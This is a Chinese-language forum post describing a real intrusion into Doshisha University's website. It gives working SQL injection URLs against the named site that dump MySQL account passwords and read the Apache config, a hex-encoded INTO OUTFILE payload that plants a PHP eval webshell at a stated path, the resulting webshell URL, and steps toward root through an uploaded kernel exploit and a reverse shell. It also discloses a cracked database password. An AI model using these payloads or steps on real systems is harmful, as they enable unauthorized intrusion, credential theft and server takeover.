找回密码
 立即注册
查看: 3421|回复: 0
打印 上一主题 下一主题

入侵日本同志社大学

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-21 13:48:02 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
入侵日本同志社大学技术分析# |; ~& g5 D1 l, _! m/ c
; x+ E& n* a/ N, S( D* z% s
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
$ L0 s$ v0 `8 F" l4 X# x然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:4 u* Q5 E& j+ C+ i% ]

- G' i) y, I' {# N& K0 p( Zhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user; e: f( v. n! E$ V! a0 g0 v

( k5 `$ E8 F' F% N+ z( l# U
4 r. ~* i7 H7 S; l8 u$ h. B6 Y7 J8 {$ U$ c  a, P. l$ n
//@@datadir为数据库文件路径
9 V+ Q: ?6 a0 i& f; y 0 G/ r! l' E- O) [2 l$ P

3 j1 M8 e2 x0 p//load_file读取网站容器apache的配置文件 ) A: d- e1 Q, s2 r+ w+ G% S

6 ~! q. Q7 o% [* s% K7 Z% a3 F, p2 a# U0 ]
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机 ' w2 B9 G/ E; Z, {  W8 c
复制代码
' R; n$ u1 d: H! [* w8 \- c( M9 ^3 v1 N* F/ [3 t3 `7 }
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
" ^: z. ^( n+ Q
& z' F- \9 l$ h% f而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。4 Z- s# G* F- q0 x
(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html): r2 M( x) l2 J7 Y7 N$ P& a

! C( n3 B. X* r+ w7 I前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
4 P% D+ Y) [: R# x, ]$ J# f如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
1 _2 u  \, z: }- F) _6 G" {0 t; p! o5 j$ d) X, N
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/! Y8 j8 y2 B4 H$ Z
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。& V% r. D2 u9 ]3 T2 C! g
直接写一句话:
; b: h- w' n+ T7 L6 b2 m+ W) e
6 F; G* b) m' Ghttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#7 `% s: m) [  b) U6 A- H; n' F
! w0 m$ K- E! K( x- o

( [4 w1 J# k2 \) e0 a8 O
2 M9 p2 S: A5 f3 b2 j3 \//最后的#是为了闭合前面的语句
+ F2 c; r. }! M* p2 i
5 x5 D" d# f1 d! l7 G
% L) [8 ?+ g/ R0 i0 t/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E - L( e& u7 ~6 O$ s" e1 M9 a

/ n8 X* b/ S0 |0 w3 q8 X- h1 b; A& j: g
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
4 |' w+ K0 d! q* o. X
4 _& S, Y* l, z1 f: ?- U
; \, v% u; j% ^2 w//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 ) J' H" z; b4 ~4 f; A' t* w; y
' S2 s; U6 i4 ^% ^, Y) H

$ U. D, s  G  p' K3 R//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
/ M, e% Y& H0 j2 T//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>” ) k! [2 O; K# s( B; O0 A
复制代码: ?. J  `/ `0 F1 z8 R' b
9 c, `, H! q4 k( h6 R! D
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有1 Q0 z6 v2 L" {9 }1 Y' l
通过上述注入语句,我们就得到了一句话木马:
7 u1 \; a* T; [) Q; x7 B, \
2 |$ r6 A2 u* H8 c
# o+ _2 @) s5 m1 [
. z  r% V+ `) _+ W( x
) y. Q$ @+ p; ]$ J1 I0 ?
% w6 @2 ?$ u& s$ }3 D4 s5 k3 Ihttp://www.doshisha.ac.jp/english/engnews_img/aa.php * M- l2 K6 r& |) W  V
复制代码5 m: m1 j3 D$ S/ O

2 v# D4 \' Z& i: J; x% J8 q用菜刀连接,密码是cmd,如图所示:
0 }% ]3 j; _' P+ T7 V5 H然后在命令提示行里看了一下,现在的权限是:
  C# M* g9 s9 n2 m5 M
1 Z3 R/ C+ m9 s' V; b8 J之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
7 s+ ^, b; l0 s4 S5 f好在赋权给这个文件夹不需要root,直接执行赋权语句:4 W' c2 e* i+ a4 l" m( q9 C8 V
: d. H* [1 g* D2 n3 s
* }/ b" y  w3 l5 @4 C4 D! A

3 G3 \% e* I8 u- ?$ z
. [- x! z7 v( p+ l! _9 A  {4 ^( i1 q7 |+ ^9 _9 \
chmod +x /tmp/
" r6 @( V) p* E- T! w/ R复制代码8 U2 E8 z6 c  [% Z0 O
" B1 Y6 V9 B( f  T
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行) M# Q. ^/ ]" I
然后就查了一下内核版本:
5 N, Q; u8 p9 S8 L( @* [' v6 E' S3 K3 D
- H8 i& I& G5 R1 L
8 q! H( f) p/ P- w' r
) |2 A8 i% v4 A; t8 G; S

/ K1 F9 z3 f/ L, o- ^3 ~# luname-a $ h0 G6 y: t5 ]7 c' A% d, v

) E5 {! l* y4 _$ f/ f' G* @) ]. S0 ~+ ]1 _6 H. N
//其实lsb_release -a
4 A8 }# r9 A/ F* l- H5 k7 h, c$ Z复制代码3 B2 Y: j; I  [) y1 e5 _2 i( G$ h

* u. N, v* E% Z. K如图所示:' x, P. M) ]3 \% L* V" D( b
, w& K  U+ A, p+ ?( {  h0 X
内核版本:linux mainz1 2.6.28-194.e152 n0 J# G; Y  a) T/ p
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga); Y% U3 j8 ~: }* l! i: d
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹: Y% c  Z1 S! I1 Y1 V! j5 j

& K8 \: U7 m5 Z' ~) n9 S然后给予执行权限% D# u' j5 ]; R: R9 T  u
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样  W# L) H! a: \
( H" {& `7 o& c! H2 z$ V

% A* I# W# s* R, S) Q' |" F6 Z3 Y0 D+ A) ?7 c" e, w7 s' |
  v% Q+ o4 W1 y! z& _* K
9 }* [4 J: O! V' j; b
chmod +x /tmp/2.6.18-194
+ y0 |/ ]5 J4 A复制代码 然后直接执行!~
& M; I& ?. O( I1 `' ~
' \8 ]- |1 r$ E  {总结:# G4 f. _, P9 X# A" Q6 W: m8 k
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了4 W8 i4 d3 b3 d$ w! K. m
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root4 S: ]  b, T3 {! s! X9 J# |
+ x% g; K; O" K8 r
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表